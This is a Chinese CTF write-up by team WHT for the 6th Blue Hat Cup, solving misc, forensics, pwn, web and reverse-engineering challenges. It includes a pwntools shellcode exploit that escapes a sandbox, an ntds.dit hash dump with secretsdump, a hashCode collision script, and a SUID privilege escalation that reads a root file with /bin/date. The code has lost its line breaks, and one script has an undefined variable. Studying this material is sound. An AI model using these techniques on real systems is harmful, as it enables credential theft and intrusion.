第六屆藍(lán)帽杯WP(總榜第4名)
本文來自“白帽子社區(qū)知識(shí)星球”
作者:WHT戰(zhàn)隊(duì)

WHT戰(zhàn)隊(duì)招新:
WHT戰(zhàn)隊(duì)歡迎對(duì)CTF有濃厚興趣的師傅加入我們。
有半年以上CTF競(jìng)賽經(jīng)驗(yàn)的。
包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。
加分項(xiàng):有一年以上CTF競(jìng)賽經(jīng)驗(yàn)的各方向CTFer。
有意向的師傅請(qǐng)掃描二維碼聯(lián)系我們
Misc
Misc1 domainhacker2
導(dǎo)出http對(duì)象,發(fā)現(xiàn)1.rar要密碼,一個(gè)一個(gè)包分析,在第50條流量中找到密碼,

看form item中的php代碼,"q8fb9d4c082c11"的值從第二位開始進(jìn)行base64解碼,

得到密碼為SecretsPassw0rds

解壓壓縮包,得到flag
Flag:flag{ 416f89c3a5deb1d398a1a1fce93862a7}
Misc2 domainhacker
同第一題一樣,先找壓縮包密碼
Y2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBGYWtlUGFzc3dvcmQxMjMkIG50ZHMucmFyIG5ldyZlY2hvIDFkMzYzMiZjZCZlY2hvIDc4YmM0NjJhYg%3D%3D
base64解密,得到壓縮包密碼

解密ntds.rar壓縮包
secretdump.py破解Ntds.dit密碼
腳本下載地址:
https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py安裝依賴:pip3 install impacket
運(yùn)行:
python secretdump.py -security SECURITY -system SYSTEM -ntds ntds.dit -user-status -pwd-last-set -history local > 1.txt
Flag值
flag{07ab403ab740c1540c378b0f5aaa4087}
PWN2 EscapeShellcode
拿到題目后

程序有五個(gè)函數(shù)
Init_io 初始化輸入輸出流

給了一塊可執(zhí)行空間

在這塊空間中寫了一些deadbeef的東西,后面調(diào)試發(fā)現(xiàn)是將寄存器全部賦值為deadbeef

Init_flag將flag讀到內(nèi)存中

Sandbox開了沙盒


只能用read、write
Go就是讀shellcode然后執(zhí)行

Flag已經(jīng)讀取到內(nèi)存中了,但是地址不清楚,所以可以先找到可讀的那一頁,然后加上flag的偏移,然后write出來
唯一能用的只有rip寄存器的值,所以通過rip寄存器去找可讀的頁,判斷返回值eax的值來確定是否write成功
mov edi, 1lea rsi, [rip-0x400000]and rsi, 0xfffffffff0000000mov edx, 0x50A1:add rsi, 0x1000mov eax, 1syscalltest eax, eaxjng A1
然后加上flag的偏移
from pwn import *# sh = process("./escape_shellcode")ip = '39.106.154.121'port = 15595sh = remote(ip, port)= 'debug'= 'linux'= 'amd64'sc = '''mov edi, 1lea rsi, [rip-0x400000]and rsi, 0xfffffffff0000000mov edx, 0x50A1:add rsi, 0x1000mov eax, 1syscalltest eax, eaxjng A1add rsi, 0x4120mov rdx, 0x300mov edi, 1mov eax, 1syscall'''print(sc)pay = asm(sc)# gdb.attach(sh, 'b *$rebase(0x1367)')# pause()sh.sendline(pay)# sleep(3)sh.interactive()
flag值:
flag{d299f035-1af2-4815-9c5b-bebf71ed0cd0}
手機(jī)取證1
根據(jù)題目描述,搜索627604C2-C586-48C1-AA16-FF33C3022159,導(dǎo)出數(shù)據(jù)文件

右鍵熟悉,查看分辨率即可

Flag:360x360
手機(jī)取證2
搜索關(guān)鍵詞“單號(hào)”即可

Flag:SF1142358694796
計(jì)算機(jī)取證1
利用volitility分析出密文,在somd5解密得到密碼
,


Flag:anxinqi
計(jì)算機(jī)取證2
Volitility pslist列出進(jìn)程可以找到magnet-ram-capture程序

Flag:2192
計(jì)算機(jī)取證3
打開檢材,需要BitLocker解密,用取證小程序得到密鑰

在重新載入檢材,找到滲透看取證PPT和pass.txt

使用passwarekit爆破,得到密碼密碼為287fuweiuhfiute,打開ppt得到flag

計(jì)算機(jī)取證4
在做上一題的時(shí)候,看到一個(gè)意思TrueCrypt的加密文件,導(dǎo)出看

同的可以直接使用passwarekit解密,得到一個(gè)新建文本文件-unprotected.txt


然后繼續(xù)使用取證大師到處,證據(jù)分析
得到一個(gè)哈哈哈.zip文件,導(dǎo)出
使用ARCHPR 6位數(shù)字爆破

得到密碼:991314,解壓得到flag

flag{1349934913913991394cacacacacacc}
程序分析1
利用appt工具分析得到包名

Flag:exec.azj.kny.d.c
程序分析2
用aapt工具進(jìn)行分析得到入口類

Flag:minmtta.hemjcbm.ahibyws.MainActivity
程序分析3

Base64解碼可以得到一個(gè)網(wǎng)址,https://ansjk.ecxeio.xyz
程序分析4
在MainActivity下發(fā)現(xiàn)super方法,

跟進(jìn),有幾個(gè)類,在a類中有環(huán)境檢測(cè)的代碼


Flag:a
網(wǎng)站取證1
存在后門,用D盾掃

Flag:lanmaobei666
網(wǎng)站取證2
sublime搜索database關(guān)鍵字

查看文件發(fā)現(xiàn)password值為一函數(shù)返回值,在線php運(yùn)行得到flag

Flag:KBLT123
網(wǎng)站取證3
金額被加密了,搜索關(guān)鍵字encrypt,找到Channelorder文件,發(fā)現(xiàn)是對(duì)money加密的,

Flag:jyzg123456
網(wǎng)站取證4
找到王子豪和張寶的ID

收付款是按ID分的

但后面轉(zhuǎn)賬的金額在channelorder.php中被加密了,

寫解密腳本:
$data="nJ1xlG5v";$str1=base64_decode($data);$len=strlen($str1);$s='';$key = md5('jyzg123456');$char = '';$x=0;$l = strlen($key);for ($i = 0; $i < 32; $i++){if ($x == $l){$x = 0; }$char .= $key{$x};$x++;}for ($i = 0; $i < $len; $i++){$s.=chr(ord($str{$i}) - (ord($char{$i})));echo(ord($str{$i}));echo " ";echo(ord($char{$i}));echo "";}print($s);
在計(jì)算稅額

根據(jù)時(shí)間累加金額得到flag
Flag:15758353.7
Ez_gadget
1.下載附件反編譯:得到路由
2.繞過hashcode:直接寫腳本碰撞得到另一個(gè)字符串的值,將其加密。
def test(str1):h = 0for i in range(len(str1)):h = 31*h+ord(str1[i])value = hresult = ""for i in str1[::-1]:for j in range(31,128):if (value-j)%31 ==0:result+=chr(j)value = (value-j)//31breakif value < 128:result+=chr(j)breakreturn result[::-1]print(test(input("key:")))
3.接下來就是繞過fastjson的waf了,通過Unicode編碼繞過,然后反彈shell

4.提示說flag.txt在root下,反彈回來的是ctf用戶,顯然需要提權(quán)。查找定時(shí)任務(wù),沒有發(fā)現(xiàn)可以利用的,查找suid文件:
find / -perm -u=s -type f 2>/dev/null5.發(fā)現(xiàn)存在date命令可以用來讀取文件,得到flag。
/bin/date -f /root/flag.txtLoader
題目提示是載入程序,先查殼:

無殼64位程序,放ida64分析:

主函數(shù)很簡(jiǎn)單獨(dú)立了一個(gè)新的虛擬內(nèi)存,權(quán)限可讀可寫可執(zhí)行,作為后面新程序的一個(gè)引導(dǎo),根據(jù)后面給的內(nèi)存地址,將被引導(dǎo)的程序dump下來,運(yùn)行后發(fā)現(xiàn)啥也沒有

Exeinfo發(fā)現(xiàn)nt頭有問題

用010editor打開可以看到pe的文件頭和可選頭都是i386,主程序是64位,修改文件頭和可選頭的值

就可以正常運(yùn)行了

放入ida繼續(xù)分析,嘗試查找字符串定位關(guān)鍵代碼,但是交叉引用看不了,于是動(dòng)調(diào)定位到代碼:

函數(shù)做的一個(gè)大數(shù)運(yùn)算,直接建立方程解flag
int sub_852850(){FILE *v0; // rax__int64 v1; // rax__int64 v2; // rdx_QWORD *v3; // rsi__int64 v4; // rdi__int64 v5; // rbx_QWORD *v6; // rax_QWORD *v7; // rdi__int64 v8; // rdx_QWORD *v9; // raxunsigned __int64 *v11; // rsi__int64 v12; // rbx__int64 v13; // rcx_QWORD *v14; // rbp__int64 v15; // rdxunsigned __int64 v16; // rdi__int64 v17; // rbxunsigned __int64 *v18; // rbp__int64 v19; // rdx_QWORD *v20; // rax__int64 v21; // rcx_QWORD *v22; // rdi__int64 v23; // rdxunsigned __int64 v24; // rsi__int64 v25; // rdi__int64 v26; // rdxunsigned __int64 v27; // rcx__m128i v28; // xmm4__int64 v29; // rdi__int64 v30; // rdxunsigned __int64 v31; // rcx__m128i v32; // [rsp+20h] [rbp-78h] BYREF__m128i v33; // [rsp+30h] [rbp-68h] BYREF__int64 v34; // [rsp+40h] [rbp-58h] BYREF__int64 v35; // [rsp+48h] [rbp-50h]__m128i v36; // [rsp+50h] [rbp-48h] BYREF__int64 v37; // [rsp+60h] [rbp-38h] BYREF__int64 v38; // [rsp+68h] [rbp-30h]nimRegisterGlobalMarker(sub_8527A0);nimRegisterGlobalMarker(sub_852790);nimRegisterGlobalMarker(sub_852780);nimRegisterGlobalMarker(sub_852770);nimRegisterGlobalMarker(sub_852760);nimRegisterGlobalMarker(sub_852750);nimRegisterGlobalMarker(sub_852740);nimRegisterGlobalMarker(sub_852730);nimRegisterGlobalMarker(sub_852720);printf_0(off_856DC8, 1i64); // 輸出提示“plz input your flag(format: flag{decimal number})”v0 = (FILE *)off_8550C0(0i64);v1 = scanf(v0);v3 = (_QWORD *)v1;if ( v1 )*(_QWORD *)(v1 - 16) += 8i64;if ( qword_86C1C0 ){v4 = *(_QWORD *)(qword_86C1C0 - 16);v2 = qword_86C1C0 - 16;*(_QWORD *)(qword_86C1C0 - 16) = v4 - 8;if ( (unsigned __int64)(v4 - 8) <= 7 )sub_846540(&qword_861F80 + 3, v2);}qword_86C1C0 = (__int64)v3;v5 = 0i64;v6 = (_QWORD *)sub_848FC0(5i64, v2);v7 = v6;if ( !v6 ){if ( v3 )sub_84C420(0i64, -1i64);sub_84C420(0i64, -1i64);}if ( !v3 ){if ( !*v6 )sub_84C420(0i64, -1i64);sub_84C420(0i64, -1i64);}do{if ( *v6 <= (unsigned __int64)v5 )sub_84C420(v5, *v6 - 1i64);v8 = *v3;if ( *v3 <= (unsigned __int64)v5 )sub_84C420(v5, v8 - 1);*((_BYTE *)v6 + v5 + 16) = *((_BYTE *)v3 + v5 + 16);++v5;}while ( v5 <= 4 );if ( *v6 != 5i64 )goto LABEL_15;v9 = v6 + 2;if ( *((_DWORD *)v7 + 4) != 'galf' )goto LABEL_15;if ( *((_BYTE *)v9 + 4) != '{' )goto LABEL_15;v11 = (unsigned __int64 *)qword_86C1C0;if ( !qword_86C1C0 || *(_QWORD *)qword_86C1C0 != 42i64 || *(_BYTE *)(qword_86C1C0 + 57) != '}' )// 判斷flag長(zhǎng)度是否為42goto LABEL_15;v12 = 0i64;v14 = (_QWORD *)sub_848FC0(18i64, v8);if ( !v14 )sub_84C420(0i64, -1i64);do{v15 = *v14;if ( *v14 <= (unsigned __int64)v12 )sub_84C420(v12, v15 - 1);v16 = v12 + 5;if ( v12 + 5 < 0 || v16 < v12 )sub_847F70(v13, v15);if ( *v11 <= v16 )sub_84C420(v12 + 5, *v11 - 1);*((_BYTE *)v14 + v12++ + 16) = *((_BYTE *)v11 + v16 + 16);}while ( v12 <= 17 ); // 以18位進(jìn)行拆分v17 = 0i64;sub_851340(v14, 10i64, &xmmword_86C170);v18 = (unsigned __int64 *)qword_86C1C0;v20 = (_QWORD *)sub_848FC0(18i64, v19);v22 = v20;if ( !v20 ){if ( v18 )sub_84C420(0i64, -1i64);sub_84C420(0i64, -1i64);}if ( !v18 ){if ( !*v20 )sub_84C420(0i64, -1i64);sub_84C420(23i64, -1i64);}do{v23 = *v22;if ( *v22 <= (unsigned __int64)v17 )sub_84C420(v17, v23 - 1);v24 = v17 + 23;if ( v17 + 23 < 0 || v24 < v17 )sub_847F70(v21, v23);if ( *v18 <= v24 )sub_84C420(v17 + 23, *v18 - 1);*((_BYTE *)v22 + v17++ + 16) = *((_BYTE *)v18 + v24 + 16);}while ( v17 <= 17 );sub_851340(v22, 10i64, &xmmword_86C130);sub_851340(&unk_856D80, 10i64, &xmmword_86C150);sub_851340(&unk_856D40, 10i64, &xmmword_86C160);v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C150);v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C170);// 值對(duì)比if ( !(unsigned __int8)sub_852080(&v33, &v32) )goto LABEL_15;v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C170);v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C160);// 值對(duì)比if ( !(unsigned __int8)sub_852080(&v33, &v32) )goto LABEL_15;v34 = 0i64;v35 = 0i64;v33 = (__m128i)xmmword_86C170;v32 = (__m128i)xmmword_86C170;sub_851270(&v33, &v32, &v34);v25 = v34;if ( v34 )*(_QWORD *)(v34 - 16) += 8i64;if ( (_QWORD)xmmword_86C190 ){v26 = xmmword_86C190 - 16;v27 = *(_QWORD *)(xmmword_86C190 - 16) - 8i64;*(_QWORD *)(xmmword_86C190 - 16) = v27;if ( v27 <= 7 )sub_846540(&qword_861F80 + 3, v26);}*(_QWORD *)&xmmword_86C190 = v25;v36 = 0ui64;BYTE8(xmmword_86C190) = v35;v33 = (__m128i)xmmword_86C130;v32 = (__m128i)xmmword_86C130;sub_851270(&v33, &v32, &v36);v28 = _mm_load_si128(&v36);v37 = 0i64;v38 = 0i64;v33 = v28;sub_852260(&v33, 11i64, &v37);v29 = v37;if ( v37 )*(_QWORD *)(v37 - 16) += 8i64;if ( (_QWORD)xmmword_86C120 ){v30 = xmmword_86C120 - 16;v31 = *(_QWORD *)(xmmword_86C120 - 16) - 8i64;*(_QWORD *)(xmmword_86C120 - 16) = v31;if ( v31 <= 7 )sub_846540(&qword_861F80 + 3, v30);}*(_QWORD *)&xmmword_86C120 = v29;v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C190);BYTE8(xmmword_86C120) = v38;v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C120);sub_8523C0(&v33, &v32, &xmmword_86C1A0);sub_851340(&unk_856D10, 10i64, &xmmword_86C180);v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C1A0);v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C180);if ( (unsigned __int8)sub_852500(&v33, &v32) ){qword_85A660 = 1i64;}else{LABEL_15:if ( qword_85A660 != 1 )return printf_0(off_856CC0, 1i64);}return printf_0(off_856CE8, 1i64);}
就是一個(gè)佩爾公式這里直接解方程

獲得flag:flag{118936021352508390035860559716724409}如果覺得本文不錯(cuò)的話,歡迎加入知識(shí)星球,星球內(nèi)部設(shè)立了多個(gè)技術(shù)版塊,目前涵蓋“WEB安全”、“內(nèi)網(wǎng)滲透”、“CTF技術(shù)區(qū)”、“漏洞分析”、“工具分享”五大類,還可以與嘉賓大佬們接觸,在線答疑、互相探討。
▼掃碼關(guān)注白帽子社區(qū)公眾號(hào)&加入知識(shí)星球▼
